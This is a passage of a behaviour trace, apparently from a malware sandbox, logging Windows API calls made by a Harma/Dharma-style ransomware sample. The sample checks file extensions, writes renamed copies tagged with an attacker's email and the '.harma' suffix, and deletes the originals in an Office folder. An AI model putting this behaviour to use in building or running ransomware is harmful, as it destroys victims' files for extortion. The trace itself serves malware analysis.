lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.092] lstrlenW (lpString=".doc") returned 4 [0158.092] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.092] lstrlenW (lpString=".docx") returned 5 [0158.092] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.092] lstrlenW (lpString=".pdf") returned 4 [0158.092] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.092] lstrlenW (lpString=".xls") returned 4 [0158.092] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.092] lstrlenW (lpString=".xlsx") returned 5 [0158.092] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.092] lstrlenW (lpString=".ppt") returned 4 [0158.092] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.092] lstrlenW (lpString=".zip") returned 4 [0158.092] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.092] lstrlenW (lpString=".rar") returned 4 [0158.092] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.092] lstrlenW (lpString=".bz2") returned 4 [0158.093] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.093] lstrlenW (lpString=".7z") returned 3 [0158.093] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.093] lstrlenW (lpString=".dbf") returned 4 [0158.093] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.093] lstrlenW (lpString=".1cd") returned 4 [0158.093] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0158.093] lstrlenW (lpString=".jpg") returned 4 [0158.093] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.093] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.093] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0158.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.094] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0158.094] CloseHandle (hObject=0x360) returned 1 [0158.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 0x20 [0158.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0158.095] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.095] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.146] GetLastError () returned 0x0 [0158.146] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0158.147] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.148] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.148] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0158.148] SetEndOfFile (hFile=0x368) returned 1 [0158.149] CloseHandle (hObject=0x368) returned 1 [0158.149] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.149] SetEndOfFile (hFile=0x360) returned 1 [0158.151] CloseHandle (hObject=0x360) returned 1 [0158.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.225] lstrlenW (lpString=".doc") returned 4 [0158.225] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.225] lstrlenW (lpString=".docx") returned 5 [0158.225] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.225] lstrlenW (lpString=".pdf") returned 4 [0158.225] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.225] lstrlenW (lpString=".xls") returned 4 [0158.225] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.225] lstrlenW (lpString=".xlsx") returned 5 [0158.225] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.225] lstrlenW (lpString=".ppt") returned 4 [0158.225] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.225] lstrlenW (lpString=".zip") returned 4 [0158.225] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.225] lstrlenW (lpString=".rar") returned 4 [0158.225] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.226] lstrlenW (lpString=".bz2") returned 4 [0158.226] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.226] lstrlenW (lpString=".7z") returned 3 [0158.226] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.226] lstrlenW (lpString=".dbf") returned 4 [0158.226] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.226] lstrlenW (lpString=".1cd") returned 4 [0158.226] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.226] lstrlenW (lpString=".jpg") returned 4 [0158.226] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.226] lstrlenW (lpString=".doc") returned 4 [0158.226] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.226] lstrlenW (lpString=".docx") returned 5 [0158.226] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.226] lstrlenW (lpString=".pdf") returned 4 [0158.226] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.226] lstrlenW (lpString=".xls") returned 4 [0158.226] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.226] lstrlenW (lpString=".xlsx") returned 5 [0158.226] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.226] lstrlenW (lpString=".ppt") returned 4 [0158.226] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.226] lstrlenW (lpString=".zip") returned 4 [0158.226] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.226] lstrlenW (lpString=".rar") returned 4 [0158.226] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.227] lstrlenW (lpString=".bz2") returned 4 [0158.227] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.227] lstrlenW (lpString=".7z") returned 3 [0158.227] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.227] lstrlenW (lpString=".dbf") returned 4 [0158.227] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.227] lstrlenW (lpString=".1cd") returned 4 [0158.227] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0158.227] lstrlenW (lpString=".jpg") returned 4 [0158.227] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.227] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0158.227] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0158.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0158.254] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=529280) returned 1 [0158.254] CloseHandle (hObject=0x330) returned 1 [0158.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll")) returned 0x20 [0158.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.254] lstrlenW (lpString=".doc") returned 4 [0158.254] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.254] lstrlenW (lpString=".docx") returned 5 [0158.254] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0158.254] lstrlenW (lpString=".pdf") returned 4 [0158.254] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.254] lstrlenW (lpString=".xls") returned 4 [0158.254] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString=".xlsx") returned 5 [0158.255] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0158.255] lstrlenW (lpString=".ppt") returned 4 [0158.255] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.255] lstrlenW (lpString=".zip") returned 4 [0158.255] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString=".rar") returned 4 [0158.255] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString=".bz2") returned 4 [0158.255] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.255] lstrlenW (lpString=".7z") returned 3 [0158.255] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.255] lstrlenW (lpString=".dbf") returned 4 [0158.255] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.255] lstrlenW (lpString=".1cd") returned 4 [0158.255] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.255] lstrlenW (lpString=".jpg") returned 4 [0158.255] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.255] lstrlenW (lpString=".doc") returned 4 [0158.255] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString=".docx") returned 5 [0158.255] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0158.255] lstrlenW (lpString=".pdf") returned 4 [0158.255] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.255] lstrlenW (lpString=".xls") returned 4 [0158.256] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.256] lstrlenW (lpString=".xlsx") returned 5 [0158.256] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0158.256] lstrlenW (lpString=".ppt") returned 4 [0158.256] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.256] lstrlenW (lpString=".zip") returned 4 [0158.256] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.256] lstrlenW (lpString=".rar") returned 4 [0158.256] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.256] lstrlenW (lpString=".bz2") returned 4 [0158.256] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.256] lstrlenW (lpString=".7z") returned 3 [0158.256] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.256] lstrlenW (lpString=".dbf") returned 4 [0158.256] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.256] lstrlenW (lpString=".1cd") returned 4 [0158.256] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0158.256] lstrlenW (lpString=".jpg") returned 4 [0158.256] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.256] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0158.256] lstrlenW (lpString="OISINTL.DLL") returned 11 [0158.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.259] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=129432) returned 1 [0158.259] CloseHandle (hObject=0x208) returned 1 [0158.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll")) returned 0x20 [0158.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.259] lstrlenW (lpString=".doc") returned 4 [0158.259] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString=".docx") returned 5 [0158.260] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0158.260] lstrlenW (lpString=".pdf") returned 4 [0158.260] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString=".xls") returned 4 [0158.260] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString=".xlsx") returned 5 [0158.260] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0158.260] lstrlenW (lpString=".ppt") returned 4 [0158.260] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.260] lstrlenW (lpString=".zip") returned 4 [0158.260] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString=".rar") returned 4 [0158.260] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString=".bz2") returned 4 [0158.260] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.260] lstrlenW (lpString=".7z") returned 3 [0158.260] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.260] lstrlenW (lpString=".dbf") returned 4 [0158.260] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.260] lstrlenW (lpString=".1cd") returned 4 [0158.260] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.260] lstrlenW (lpString=".jpg") returned 4 [0158.260] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.260] lstrlenW (lpString=".doc") returned 4 [0158.260] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.261] lstrlenW (lpString=".docx") returned 5 [0158.261] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0158.261] lstrlenW (lpString=".pdf") returned 4 [0158.261] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.261] lstrlenW (lpString=".xls") returned 4 [0158.261] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.261] lstrlenW (lpString=".xlsx") returned 5 [0158.261] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0158.261] lstrlenW (lpString=".ppt") returned 4 [0158.261] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.261] lstrlenW (lpString=".zip") returned 4 [0158.261] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.261] lstrlenW (lpString=".rar") returned 4 [0158.261] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.261] lstrlenW (lpString=".bz2") returned 4 [0158.261] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.261] lstrlenW (lpString=".7z") returned 3 [0158.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.261] lstrlenW (lpString=".dbf") returned 4 [0158.261] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.261] lstrlenW (lpString=".1cd") returned 4 [0158.261] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0158.262] lstrlenW (lpString=".jpg") returned 4 [0158.262] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.262] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0158.262] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0158.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.263] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=611) returned 1 [0158.263] CloseHandle (hObject=0x208) returned 1 [0158.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 0x20 [0158.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.264] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.264] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.265] GetLastError () returned 0x0 [0158.265] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x263, lpOverlapped=0x0) returned 1 [0158.265] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x270, lpOverlapped=0x0) returned 1 [0158.266] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.266] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0158.266] SetEndOfFile (hFile=0x368) returned 1 [0158.267] CloseHandle (hObject=0x368) returned 1 [0158.267] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.267] SetEndOfFile (hFile=0x208) returned 1 [0158.269] CloseHandle (hObject=0x208) returned 1 [0158.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 1 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.270] lstrlenW (lpString=".doc") returned 4 [0158.270] lstrcmpiW 